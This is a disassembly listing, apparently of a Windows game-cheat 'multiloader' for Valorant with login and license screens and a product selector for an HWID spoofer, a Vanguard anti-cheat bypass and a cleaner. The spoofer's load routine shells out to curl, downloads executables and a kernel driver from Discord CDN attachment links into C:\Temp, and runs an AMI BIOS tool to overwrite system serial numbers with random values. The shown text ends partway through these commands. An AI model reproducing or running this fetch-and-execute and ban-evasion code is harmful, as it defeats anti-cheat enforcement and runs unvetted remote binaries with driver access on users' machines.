lea rdx, str.made_by._Kawn__Ren.
lea rcx, [rbp + 0x328]
mov ebx, eax
call fcn.140008480
movaps xmm6, xmm10
movss dword [rsp + 0x20], xmm15
xor r9d, r9d
lea rdx, str.made_by._Kawn__Ren.
xor r8d, r8d
lea rcx, [rbp + 0x330]
subss xmm6, dword [rax + 4]
mulss xmm6, xmm13
addss xmm6, dword [0x140123cec]
call fcn.140008480
movss xmm0, dword [0x1402b4370]
lea r9, str.made_by._Kawn__Ren.
mov r8d, ebx
mov qword [rsp + 0x20], rsi
lea rdx, [rbp + 0xa0]
mov rcx, rdi
subss xmm0, dword [rax]
movss dword [rbp + 0xa4], xmm6
mulss xmm0, xmm13
movss dword [rbp + 0xa0], xmm0
call fcn.140025cf0
call fcn.140016610
mov eax, dword [0x1402b52ac]
cmp dword [0x1402b4e80], eax
jne 0x14004339a
movaps xmm6, xmm14
jmp 0x14004339e
movaps xmm6, xmm15
call fcn.14000d800
movss xmm11, dword [0x140123cb8]
movss xmm0, dword [rax + 0x10]
mulss xmm0, xmm11
mulss xmm0, xmm6
addss xmm0, dword [0x1402b52a4]
comiss xmm12, xmm0
jbe 0x1400433ce
movaps xmm1, xmm12
jmp 0x1400433d6
movaps xmm1, xmm14
minss xmm1, xmm0
ucomiss xmm1, xmm12
movss dword [0x1402b52a4], xmm1
jp 0x140043402
jne 0x140043402
movss xmm0, dword [0x1402b52a8]
ucomiss xmm0, xmm12
jp 0x140043402
jne 0x140043402
mov eax, dword [0x1402b4e80]
mov dword [0x1402b52ac], eax
mulss xmm1, dword [r15]
xor ecx, ecx
call fcn.140016ee0
mov eax, dword [0x1402b52ac]
test eax, eax
jne 0x140043b3a
movss xmm0, dword [0x1402b4370]
lea rcx, [rbp + 0xa8]
movss xmm1, dword [r15 + 0x50]
movss xmm10, dword [0x1401335f0]
addss xmm1, xmm1
subss xmm0, xmm10
addss xmm1, dword [0x1401335dc]
mulss xmm0, xmm13
movss dword [rbp + 0xa8], xmm0
movss xmm0, dword [0x1402b4374]
subss xmm0, xmm1
mulss xmm0, xmm13
movss dword [rbp + 0xac], xmm0
call fcn.14001ab20
call fcn.140007570
mov qword [rsp + 0x38], rsi
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x30], rsi
lea rbx, [0x1402b52b0]
mov dword [rsp + 0x28], esi
lea rdx, str.Login
mov r8, rbx
mov qword [rsp + 0x20], rax
mov r9d, 0x80
mov dword [rbp + 0xb0], 0x43b08000
lea rcx, [0x14012afd8]
mov dword [rbp + 0xb4], 0x42480000
call fcn.140033080
mov qword [rsp + 0x38], rsi
lea rax, [rbp + 0xb8]
mov qword [rsp + 0x30], rsi
lea rdi, [0x1402b5330]
mov dword [rsp + 0x28], esi
lea rdx, str.Password
mov r8, rdi
mov qword [rsp + 0x20], rax
mov r9d, 0x80
mov dword [rbp + 0xb8], 0x43b08000
lea rcx, [0x14012afec]
mov dword [rbp + 0xbc], 0x42480000
call fcn.140033080
xor r9d, r9d
movss dword [rsp + 0x20], xmm15
xor r8d, r8d
lea rdx, str.Forgot_password__Ask_For_A_Reset
lea rcx, [rbp + 0x338]
call fcn.140008480
lea rcx, [rbp + 0x340]
movss xmm6, dword [rax]
call fcn.14000d200
movaps xmm0, xmm10
lea rcx, [rbp + 0xc0]
subss xmm0, xmm6
movss xmm1, dword [rax + 4]
addss xmm1, xmm12
mulss xmm0, xmm13
addss xmm0, dword [rax]
movss dword [rbp + 0xc4], xmm1
movss dword [rbp + 0xc0], xmm0
call fcn.14001ab20
movaps xmm1, xmm14
lea rcx, [0x1402b4d98]
call fcn.14000d110
movss xmm9, dword [0x140123c54]
xorps xmm3, xmm3
movzx ecx, al
xorps xmm0, xmm0
xorps xmm1, xmm1
cvtsi2ss xmm3, rcx
mov ecx, eax
shr ecx, 8
movzx ecx, cl
cvtsi2ss xmm0, rcx
mov ecx, eax
shr ecx, 0x10
movzx ecx, cl
shr eax, 0x18
mulss xmm3, xmm9
cvtsi2ss xmm1, rcx
mulss xmm0, xmm9
mulss xmm1, xmm9
shufps xmm3, xmm3, 0xe1
lea rdx, str.Forgot_password_
movss xmm3, xmm0
lea rcx, [rbp + 0x3d0]
shufps xmm3, xmm3, 0xc6
xorps xmm2, xmm2
movss xmm3, xmm1
shufps xmm3, xmm3, 0x27
cvtsi2ss xmm2, rax
mulss xmm2, xmm9
movss xmm3, xmm2
shufps xmm3, xmm3, 0x39
movups xmmword [rsp + 0x70], xmm3
movups xmmword [rbp + 0x3d0], xmm3
call fcn.1400391b0
movss xmm1, dword [0x140123cbc]
movaps xmm0, xmm12
call fcn.140019f40
movaps xmm1, xmm14
lea rcx, [0x1402b4d38]
call fcn.14000d110
xorps xmm3, xmm3
movzx ecx, al
xorps xmm0, xmm0
lea rdx, str.Ask_For_A_Reset
xorps xmm1, xmm1
xorps xmm2, xmm2
cvtsi2ss xmm3, rcx
mov ecx, eax
shr ecx, 8
movzx ecx, cl
mulss xmm3, xmm9
cvtsi2ss xmm0, rcx
mov ecx, eax
shr eax, 0x18
shr ecx, 0x10
movzx ecx, cl
shufps xmm3, xmm3, 0xe1
cvtsi2ss xmm2, rax
cvtsi2ss xmm1, rcx
lea rcx, [rbp + 0x3e0]
mulss xmm0, xmm9
mulss xmm1, xmm9
movss xmm3, xmm0
mulss xmm2, xmm9
shufps xmm3, xmm3, 0xc6
movss xmm3, xmm1
shufps xmm3, xmm3, 0x27
movss xmm3, xmm2
shufps xmm3, xmm3, 0x39
movups xmmword [rsp + 0x70], xmm3
movups xmmword [rbp + 0x3e0], xmm3
call fcn.1400391b0
call fcn.14000d250
addss xmm0, xmm11
call fcn.14001ab80
xor r9d, r9d
mov dword [rbp + 0xc8], 0x43b08000
lea r8, [rbp + 0xc8]
mov dword [rbp + 0xcc], 0x42480000
lea rdx, [0x14012b040]
lea rcx, str.LAUNCH
call fcn.1400329a0
test al, al
je 0x140043798
xorps xmm0, xmm0
mov qword [rbp - 0x80], rsi
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x78], rsi
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdi + r8], sil
jne 0x140043727
mov rdx, rdi
lea rcx, [rsp + 0x70]
call fcn.14003f0a0
xorps xmm0, xmm0
mov qword [rbp - 0x10], rsi
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 8], rsi
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rbx + r8], sil
jne 0x140043753
mov rdx, rbx
lea rcx, [rbp - 0x20]
call fcn.14003f0a0
lea r8, [rsp + 0x70]
lea rdx, [rbp - 0x20]
lea rcx, [0x1402b4fb0]
call fcn.1400c2180
cmp byte [0x1402b51c0], sil
je 0x140043792
mov dword [0x1402b4e80], 2
jmp 0x140043798
mov dword [0x140177040], esi
call fcn.14000d800
movss xmm0, dword [0x140177040]
mov rbx, r13
cmp qword [0x1402b51e0], 0xf
movss xmm1, dword [rax + 0x10]
mulss xmm1, dword [0x140123cc0]
cmova rbx, qword [0x1402b51c8]
addss xmm0, xmm1
movss dword [0x140177040], xmm0
call fcn.14000d800
movss xmm0, dword [0x140123cc4]
comiss xmm0, dword [0x140177040]
movss xmm2, dword [rax + 0x10]
mulss xmm2, xmm12
jbe 0x140043804
cmp byte [0x1402b51c0], sil
jne 0x140043804
movss xmm1, dword [0x140123cf4]
jmp 0x140043808
movaps xmm1, xmm12
subss xmm1, dword [0x1402b53b0]
xor r9d, r9d
movss dword [rsp + 0x20], xmm15
xor r8d, r8d
lea rcx, [rbp + 0x348]
mov rdx, rbx
mulss xmm1, xmm2
addss xmm1, dword [0x1402b53b0]
movss dword [0x1402b53b0], xmm1
call fcn.140008480
lea rcx, [rbp + 0x350]
movss xmm6, dword [rax]
call fcn.14000d200
movaps xmm0, xmm10
lea rcx, [rbp + 0xd0]
subss xmm0, xmm6
movss xmm1, dword [rax + 4]
addss xmm1, xmm12
mulss xmm0, xmm13
addss xmm0, dword [rax]
movss dword [rbp + 0xd4], xmm1
movss dword [rbp + 0xd0], xmm0
call fcn.14001ab20
movss xmm1, dword [0x1402b53b0]
lea rcx, [0x1402b4d58]
call fcn.14000d110
xorps xmm3, xmm3
movzx ecx, al
xorps xmm0, xmm0
xorps xmm1, xmm1
xorps xmm2, xmm2
mov rdx, rbx
cvtsi2ss xmm3, rcx
mov ecx, eax
shr ecx, 8
movzx ecx, cl
mulss xmm3, xmm9
cvtsi2ss xmm0, rcx
mov ecx, eax
shr eax, 0x18
shr ecx, 0x10
movzx ecx, cl
shufps xmm3, xmm3, 0xe1
cvtsi2ss xmm2, rax
cvtsi2ss xmm1, rcx
lea rcx, [rbp + 0x3f0]
mulss xmm0, xmm9
mulss xmm1, xmm9
movss xmm3, xmm0
mulss xmm2, xmm9
shufps xmm3, xmm3, 0xc6
movss xmm3, xmm1
shufps xmm3, xmm3, 0x27
movss xmm3, xmm2
shufps xmm3, xmm3, 0x39
movups xmmword [rsp + 0x70], xmm3
movups xmmword [rbp + 0x3f0], xmm3
call fcn.1400391b0
call fcn.14000b3c0
mov eax, dword [0x1402b52ac]
movss xmm10, dword [0x1401335e4]
cmp eax, 2
jge 0x140043dc6
movss xmm0, dword [0x1402b4370]
lea rcx, [rbp + 0x100]
movss xmm1, dword [r15 + 0x4c]
mulss xmm1, xmm11
subss xmm1, dword [0x140123ccc]
subss xmm0, xmm1
mulss xmm0, xmm13
movss dword [rbp + 0x100], xmm0
movss xmm0, dword [0x1402b4374]
subss xmm0, xmm10
movss dword [rbp + 0x104], xmm0
call fcn.14001ab20
call fcn.140007570
movaps xmm1, xmm14
lea rcx, [0x1402b4da8]
call fcn.14000d110
movss xmm6, dword [0x140123ce4]
mov r9d, eax
movss xmm7, dword [0x1401335d0]
movaps xmm0, xmm6
mov rcx, qword [0x1402b4eb0]
movaps xmm1, xmm7
unpcklps xmm0, xmm6
unpcklps xmm1, xmm7
movq r8, xmm0
movq rdx, xmm1
call fcn.1400397d0
test al, al
je 0x1400439e1
lea rcx, str.start_https:__discord.gg_2g8GKkHRSY
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movaps xmm1, xmm15
movaps xmm0, xmm12
call fcn.140019f40
movaps xmm1, xmm14
lea rcx, [0x1402b4da8]
call fcn.14000d110
mov rcx, qword [0x1402b4eb8]
movaps xmm0, xmm6
movaps xmm1, xmm7
unpcklps xmm0, xmm6
unpcklps xmm1, xmm7
movq r8, xmm0
movq rdx, xmm1
mov r9d, eax
call fcn.1400397d0
test al, al
je 0x140043a34
lea rcx, str.start_https:__kawn.com.tr_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movaps xmm1, xmm15
movaps xmm0, xmm12
call fcn.140019f40
call fcn.14000b3c0
movss xmm0, dword [0x1402b4370]
lea rcx, [rbp + 0x108]
movss xmm1, dword [r15 + 0x4c]
movss xmm9, dword [0x140123cb4]
mulss xmm1, xmm9
addss xmm1, xmm10
subss xmm0, xmm1
mulss xmm0, xmm13
movss dword [rbp + 0x108], xmm0
movss xmm0, dword [0x1402b4374]
subss xmm0, xmm8
movss dword [rbp + 0x10c], xmm0
call fcn.14001ab20
call fcn.140007570
cmp dword [0x1402b4e80], esi
lea r8, [rbp + 0x110]
lea rdx, str.SIGN_IN
mov dword [rbp + 0x110], 0x42f00000
sete cl
mov dword [rbp + 0x114], 0x42200000
xor r9d, r9d
call fcn.1400369d0
test al, al
je 0x140043adb
mov dword [0x1402b4e80], esi
movaps xmm1, xmm15
movaps xmm0, xmm12
call fcn.140019f40
cmp dword [0x1402b4e80], 1
lea r8, [rbp + 0x118]
lea rdx, str.SIGN_UP
mov dword [rbp + 0x118], 0x42f00000
sete cl
mov dword [rbp + 0x11c], 0x42200000
xor r9d, r9d
call fcn.1400369d0
test al, al
je 0x140043b2a
mov dword [0x1402b4e80], 1
call fcn.14000b3c0
mov eax, dword [0x1402b52ac]
jmp 0x140043dcf
cmp eax, 1
jne 0x140043927
movss xmm0, dword [0x1402b4370]
lea rcx, [rbp + 0xd8]
subss xmm0, dword [0x1401335f0]
movss xmm1, dword [r15 + 0x50]
movss xmm10, dword [0x1401335e4]
addss xmm1, xmm1
mulss xmm0, xmm13
addss xmm1, xmm10
movss dword [rbp + 0xd8], xmm0
movss xmm0, dword [0x1402b4374]
subss xmm0, xmm1
mulss xmm0, xmm13
movss dword [rbp + 0xdc], xmm0
call fcn.14001ab20
call fcn.140007570
mov qword [rsp + 0x38], rsi
lea rax, [rbp + 0xe0]
mov qword [rsp + 0x30], rsi
lea r14, [0x1402b53c0]
mov dword [rsp + 0x28], esi
lea rdx, str.Login
mov r8, r14
mov qword [rsp + 0x20], rax
mov r9d, 0x80
mov dword [rbp + 0xe0], 0x43b08000
lea rcx, [0x14012afd8]
mov dword [rbp + 0xe4], 0x42480000
call fcn.140033080
mov qword [rsp + 0x38], rsi
lea rax, [rbp + 0xe8]
mov qword [rsp + 0x30], rsi
lea rdi, [0x1402b5440]
mov dword [rsp + 0x28], esi
lea rdx, str.Password
mov r8, rdi
mov qword [rsp + 0x20], rax
mov r9d, 0x80
mov dword [rbp + 0xe8], 0x43b08000
lea rcx, [0x14012afec]
mov dword [rbp + 0xec], 0x42480000
call fcn.140033080
mov qword [rsp + 0x38], rsi
lea rax, [rbp + 0xf0]
mov qword [rsp + 0x30], rsi
lea rbx, [0x1402b54c0]
mov dword [rsp + 0x28], esi
lea rdx, str.License_Key
mov r8, rbx
mov qword [rsp + 0x20], rax
mov r9d, 0x80
mov dword [rbp + 0xf0], 0x43b08000
lea rcx, [0x14012b05c]
mov dword [rbp + 0xf4], 0x42480000
call fcn.140033080
xor r9d, r9d
mov dword [rbp + 0xf8], 0x43b08000
lea r8, [rbp + 0xf8]
mov dword [rbp + 0xfc], 0x42480000
lea rdx, [0x14012b040]
lea rcx, str.REGISTER
call fcn.1400329a0
test al, al
je 0x140043db6
xorps xmm0, xmm0
mov qword [rbp - 0x10], rsi
movups xmmword [rbp - 0x20], xmm0
mov byte [rbp - 0x20], sil
mov r8, 0xffffffffffffffff
mov qword [rbp - 8], reloc.WS2_32.dll_ntohs
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], rsi
nop dword [rax]
inc r8
cmp byte [rbx + r8], sil
jne 0x140043d00
mov rdx, rbx
lea rcx, [rsp + 0x70]
call fcn.14003f0a0
xorps xmm0, xmm0
mov qword [rbp + 0x230], rsi
movups xmmword [rbp + 0x220], xmm0
mov qword [rbp + 0x238], rsi
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdi + r8], sil
jne 0x140043d35
mov rdx, rdi
lea rcx, [rbp + 0x220]
call fcn.14003f0a0
xorps xmm0, xmm0
mov qword [rbp + 0x258], rsi
movups xmmword [rbp + 0x248], xmm0
mov qword [rbp + 0x260], rsi
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [r14 + r8], sil
jne 0x140043d70
mov rdx, r14
lea rcx, [rbp + 0x248]
call fcn.14003f0a0
lea rax, [rbp - 0x20]
lea r9, [rsp + 0x70]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x220]
lea rdx, [rbp + 0x248]
lea rcx, [0x1402b4fb0]
call fcn.1400c45f0
mov dword [0x1402b52ac], esi
call fcn.14000b3c0
mov eax, dword [0x1402b52ac]
jmp 0x140043930
movss xmm9, dword [0x140123cb4]
cmp eax, 2
jne 0x140043ee9
mov eax, dword [0x1402b4e84]
cmp eax, 0x1f4
jle 0x140043df1
mov dword [0x1402b4e80], 3
jmp 0x140043e02
cmp dword [0x1402b4e80], 2
jne 0x140043e02
inc eax
mov dword [0x1402b4e84], eax
movss xmm0, dword [0x140123c5c]
comiss xmm0, dword [0x1402b52a4]
jbe 0x140043e1b
mov eax, esi
mov dword [0x1402b4e84], eax
movss xmm2, dword [0x1401335f4]
lea rcx, str.Your_multiloader_is_starting__stay_tuned.
movd xmm1, eax
movaps xmm3, xmm8
cvtdq2ps xmm1, xmm1
call fcn.140040a00
call fcn.14000cf60
movss xmm7, dword [0x140123c60]
lea rcx, [0x1402b4d38]
movss xmm6, dword [0x1402b4378]
movaps xmm1, xmm7
mov r14, rax
call fcn.14000d110
movaps xmm1, xmm7
lea rcx, [0x1402b4d38]
mov esi, eax
call fcn.14000d110
movaps xmm1, xmm12
lea rcx, [0x1402b4d38]
mov edi, eax
call fcn.14000d110
movaps xmm1, xmm12
lea rcx, [0x1402b4d38]
mov ebx, eax
call fcn.14000d110
movsd xmm0, qword [0x1402b4370]
lea r8, [rbp + 0x280]
mov dword [rsp + 0x40], 0
lea rdx, [rbp + 0x120]
movss dword [rsp + 0x38], xmm6
mov r9d, eax
mov dword [rsp + 0x30], esi
mov rcx, r14
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], ebx
movsd qword [rbp + 0x280], xmm0
mov qword [rbp + 0x120], 0
call fcn.140024610
jmp 0x140045ab6
cmp eax, 3
jne 0x140045ab6
movss xmm0, dword [r15 + 0x4c]
lea rcx, [rbp + 0x128]
movss dword [rbp + 0x128], xmm0
mov dword [rbp + 0x12c], 0x43720000
call fcn.14001ab20
call fcn.140007570
movss xmm0, dword [r15 + 0x4c]
lea rdx, [rbp + 0x130]
movss xmm1, dword [0x1402b4370]
lea rcx, str.SELECTOR
movss xmm10, dword [0x1401335ec]
xor r9d, r9d
mulss xmm0, xmm9
xor r8d, r8d
subss xmm1, xmm0
movss xmm0, dword [0x1402b4374]
mulss xmm1, xmm13
movss dword [rbp + 0x130], xmm1
movss xmm1, dword [r15 + 0x50]
addss xmm1, xmm10
subss xmm0, xmm1
movss dword [rbp + 0x134], xmm0
call fcn.140006e80
lea rcx, [rbp + 0x358]
call fcn.14000d1a0
cmp dword [0x1402b4e88], esi
lea r9, [rbp + 0x138]
mov rdx, qword [0x1402b4ee0]
lea r8, str.HWID_Spoofer
sete cl
movss xmm0, dword [rax]
subss xmm0, dword [r15 + 8]
mov dword [rbp + 0x13c], 0x425c0000
movss dword [rbp + 0x138], xmm0
call fcn.140038970
test al, al
je 0x140043fd5
mov dword [0x1402b4e88], esi
lea rcx, [rbp + 0x360]
call fcn.14000d1a0
cmp dword [0x1402b4e88], 1
lea r9, [rbp + 0x140]
mov rdx, qword [0x1402b4ee0]
lea r8, str.VGC_Bypass
sete cl
movss xmm0, dword [rax]
subss xmm0, dword [r15 + 8]
mov dword [rbp + 0x144], 0x425c0000
movss dword [rbp + 0x140], xmm0
call fcn.140038970
test al, al
je 0x14004402f
mov dword [0x1402b4e88], 1
lea rcx, [rbp + 0x368]
call fcn.14000d1a0
cmp dword [0x1402b4e88], 2
lea r9, [rbp + 0x148]
mov rdx, qword [0x1402b4ee0]
lea r8, str.Cleaner
sete cl
movss xmm0, dword [rax]
subss xmm0, dword [r15 + 8]
mov dword [rbp + 0x14c], 0x425c0000
movss dword [rbp + 0x148], xmm0
call fcn.140038970
test al, al
je 0x140044089
mov dword [0x1402b4e88], 2
lea rcx, [rbp + 0x430]
call fcn.14000d1a0
cmp dword [0x1402b4e88], 3
lea r9, [rbp + 0x150]
mov rdx, qword [0x1402b4ee0]
lea r8, str.Valorant_FULL
sete cl
movss xmm0, dword [rax]
subss xmm0, dword [r15 + 8]
mov dword [rbp + 0x154], 0x425c0000
movss dword [rbp + 0x150], xmm0
call fcn.140038970
test al, al
je 0x1400440e3
mov dword [0x1402b4e88], 3
call fcn.14000ab40
call fcn.14000b3c0
movaps xmm1, xmm15
movaps xmm0, xmm12
call fcn.140019f40
call fcn.140007570
movss xmm0, dword [r15 + 0x4c]
lea rdx, [rbp + 0x158]
movss xmm1, dword [0x1402b4370]
lea rcx, str.PROFILE
mulss xmm0, xmm9
xor r9d, r9d
xor r8d, r8d
subss xmm1, xmm0
movss xmm0, dword [0x1402b4374]
mulss xmm1, xmm13
movss dword [rbp + 0x158], xmm1
movss xmm1, dword [r15 + 0x50]
addss xmm1, xmm10
subss xmm0, xmm1
movss dword [rbp + 0x15c], xmm0
call fcn.140006e80
mov rax, qword [0x1402b4f28]
mov qword [rbp + 0x248], rax
mov rax, qword [0x1402b4f20]
mov qword [rbp + 0x250], rax
mov rax, qword [0x1402b4f10]
mov qword [rbp + 0x258], rax
mov qword [rbp + 0x260], rax
mov rax, qword [0x1402b4f18]
mov qword [rbp + 0x268], rax
lea rax, str.Software
mov qword [rbp + 0x220], rax
mov qword [rbp + 0x228], rax
mov qword [rbp + 0x230], rax
lea rax, str.Valorant
mov qword [rbp + 0x238], rax
xor eax, eax
mov qword [rbp + 0x240], rax
lea rax, str.UNDETECTED
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rax
xor eax, eax
mov qword [rbp], rax
lea rax, str.1.0.1
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rax
xor eax, eax
mov qword [rbp - 0x70], rax
lea rax, str.11.11.2024
mov qword [rbp + 0x300], rax
mov qword [rbp + 0x308], rax
lea rax, str.14.11.2024
mov qword [rbp + 0x310], rax
lea rax, str.20.06.2024
mov qword [rbp + 0x318], rax
xor eax, eax
mov qword [rbp + 0x320], rax
mov eax, dword [0x1402b5548]
cmp dword [0x1402b4e88], eax
jne 0x140044257
movaps xmm6, xmm14
jmp 0x14004425b
movaps xmm6, xmm15
call fcn.14000d800
movss xmm0, dword [rax + 0x10]
mulss xmm0, dword [0x140123cc8]
mulss xmm0, xmm6
addss xmm0, dword [0x1402b5540]
comiss xmm12, xmm0
jbe 0x140044285
movaps xmm1, xmm12
jmp 0x14004428d
movaps xmm1, xmm14
minss xmm1, xmm0
ucomiss xmm1, xmm12
movss dword [0x1402b5540], xmm1
jp 0x1400442b9
jne 0x1400442b9
movss xmm0, dword [0x1402b5544]
ucomiss xmm0, xmm12
jp 0x1400442b9
jne 0x1400442b9
mov eax, dword [0x1402b4e88]
mov dword [0x1402b5548], eax
mulss xmm1, dword [r15]
xor ecx, ecx
call fcn.140016ee0
call fcn.14000e3f0
movss xmm8, dword [0x140177010]
lea rcx, [0x1402b4d88]
movaps xmm1, xmm14
mov rdi, rax
call fcn.14000d110
lea rcx, [rbp + 0x370]
mov dword [rbp + 0x160], 0x3f800000
mov ebx, eax
mov dword [rbp + 0x164], 0x3f800000
mov qword [rbp + 0x168], rsi
call fcn.14000d1a0
movss xmm6, dword [r15 + 8]
lea rcx, [rbp + 0x378]
movss xmm7, dword [rax]
call fcn.14000d280
subss xmm7, xmm6
lea rcx, [rbp + 0x380]
movss xmm0, dword [rax + 4]
addss xmm0, dword [0x1401335d8]
addss xmm7, dword [rax]
movss dword [rbp + 0x174], xmm0
movss dword [rbp + 0x170], xmm7
call fcn.14000d280
movsxd rdx, dword [0x1402b5548]
lea rcx, [rbp + 0x160]
mov dword [rsp + 0x40], esi
lea r9, [rbp + 0x170]
movss dword [rsp + 0x38], xmm8
mov r8, rax
mov dword [rsp + 0x30], ebx
mov rdx, qword [rbp + rdx*8 + 0x248]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp + 0x168]
mov qword [rsp + 0x20], rcx
mov rcx, rdi
call fcn.1400231b0
movss xmm0, dword [r15 + 0x4c]
lea rcx, [rbp + 0x178]
movss dword [rbp + 0x178], xmm0
mov dword [rbp + 0x17c], 0x43200000
call fcn.14001ab20
lea rcx, [rbp + 0x388]
call fcn.14000d1a0
movsxd rdx, dword [0x1402b5548]
lea r8, [rbp + 0x180]
xor r9d, r9d
lea rcx, str.PRODUCT
movss xmm0, dword [rax]
subss xmm0, dword [r15 + 8]
mov rdx, qword [rbp + rdx*8 + 0x220]
mov dword [rbp + 0x184], 0x42200000
movss dword [rbp + 0x180], xmm0
call fcn.140039cb0
lea rcx, [rbp + 0x3b8]
call fcn.14000d1a0
movsxd rdx, dword [0x1402b5548]
lea r8, [rbp + 0x188]
xor r9d, r9d
lea rcx, str.STATUS
movss xmm0, dword [rax]
subss xmm0, dword [r15 + 8]
mov rdx, qword [rbp + rdx*8 - 0x20]
mov dword [rbp + 0x18c], 0x42200000
movss dword [rbp + 0x188], xmm0
call fcn.140039cb0
lea rcx, [rbp + 0x398]
call fcn.14000d1a0
movsxd rdx, dword [0x1402b5548]
lea r8, [rbp + 0x190]
xor r9d, r9d
lea rcx, str.VERSION
movss xmm0, dword [rax]
subss xmm0, dword [r15 + 8]
mov rdx, qword [rsp + rdx*8 + 0x70]
mov dword [rbp + 0x194], 0x42200000
movss dword [rbp + 0x190], xmm0
call fcn.140039cb0
lea rcx, [rbp + 0x3a0]
call fcn.14000d1a0
movsxd rdx, dword [0x1402b5548]
lea r8, [rbp + 0x198]
xor r9d, r9d
lea rcx, str.UPDATED
movss xmm0, dword [rax]
subss xmm0, dword [r15 + 8]
mov rdx, qword [rbp + rdx*8 + 0x300]
mov dword [rbp + 0x19c], 0x42200000
movss dword [rbp + 0x198], xmm0
call fcn.140039cb0
mov ecx, 1
call fcn.1400168d0
call fcn.14000d250
addss xmm0, dword [0x1401335c8]
call fcn.14001ab80
lea rcx, [rbp + 0x3a8]
call fcn.14000d1a0
xor r9d, r9d
lea r8, [rbp + 0x1a0]
lea rdx, [0x14012b040]
lea rcx, str.LOAD
movss xmm0, dword [rax]
subss xmm0, dword [r15 + 8]
mov dword [rbp + 0x1a4], 0x42200000
movss dword [rbp + 0x1a0], xmm0
call fcn.1400329a0
test al, al
je 0x140045aac
mov eax, dword [0x1402b4e88]
test eax, eax
jne 0x140044909
mov rdi, qword [0x1402b5198]
mov rbx, qword [0x1402b5190]
cmp rbx, rdi
je 0x140045aac
movabs r13, 0x6f70532044495748
nop dword [rax + rax]
mov rdx, rbx
lea rcx, [rbp + 0x4d0]
call fcn.14003f9e0
lea rdx, [rbx + 0x20]
lea rcx, [rbp + 0x4f0]
call fcn.14003f9e0
cmp qword [rbp + 0x4e8], 0xf
lea rax, [rbp + 0x4d0]
cmova rax, qword [rbp + 0x4d0]
cmp qword [rbp + 0x4e0], 0xc
jne 0x1400448e3
cmp qword [rax], r13
jne 0x1400448e3
cmp dword [rax + 8], 0x7265666f
jne 0x1400448e3
lea rcx, str.curl__o_C:TempAMIDEWINx64.exe_https:__cdn.discordapp.com_attachments_1297315751891435540_1306536649399861319_AMIDEWINx64.exe_ex67370693is6735b513hm2da1c1e5f0a76b554598dbd5f23a4e7c8b4d16e2bf204e03851d083fcd40c07d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl__o_C:Temp_amifldrv64.sys_https:__cdn.discordapp.com_attachments_1297315751891435540_1306325230351810670_amifldrv64.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl__o_C:TempVolumeid64.exe_https:__cdn.discordapp.com_attachments_1297315751891435540_1306642733380927519_Volumeid64.exe_ex6737695fis673617dfhma21d73c5dc4ede60dee777f2a6e7f4fe1b84d34a25bcb9bd87ddcff46fb45fc4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl__o_C:TempVolumeid.exe_https:__cdn.discordapp.com_attachments_1297315751891435540_1306642753421054023_Volumeid.exe_ex67376964is673617e4hmdd010baffdc5928081df613de0e9f6d0fc98b8bb97665a06f652fcce1f9ad5d0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r9d, 0x40
lea r8, str.KawnDev
lea rdx, str.Mapper_Loaded
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, str.cd_C:TempAMIDEWINx64.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.AMIDEWINx64.exe__IVN__random__random__random_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.AMIDEWINx64.exe__IV__random__random__random_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.AMIDEWINx64.exe__ID__random__random__random_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.AMIDEWINx64.exe__SM__random__random_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.AMIDEWINx64.exe__SP__random__random__random_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.AMIDEWINx64.exe__SV__random__random__random_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.AMIDEWINx64.exe__SS__random__random__random_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.AMIDEWINx64.exe__SK__random__random__random_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.AMIDEWINx64.exe__SF__random__random__random_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.AMIDEWINx64.exe__BM__random__random__random_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.AMIDEWINx64.exe__BP__random__random__random_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.AMIDEWINx64.exe__BV__random__random__random_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.AMIDEWINx64.exe__BS__random__random__random_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.AMIDEWINx64.exe__BT__random__random__random_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.AMIDEWINx64.exe__BLC__random__random__random_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.AMIDEWINx64.exe__CM__random__random__random_
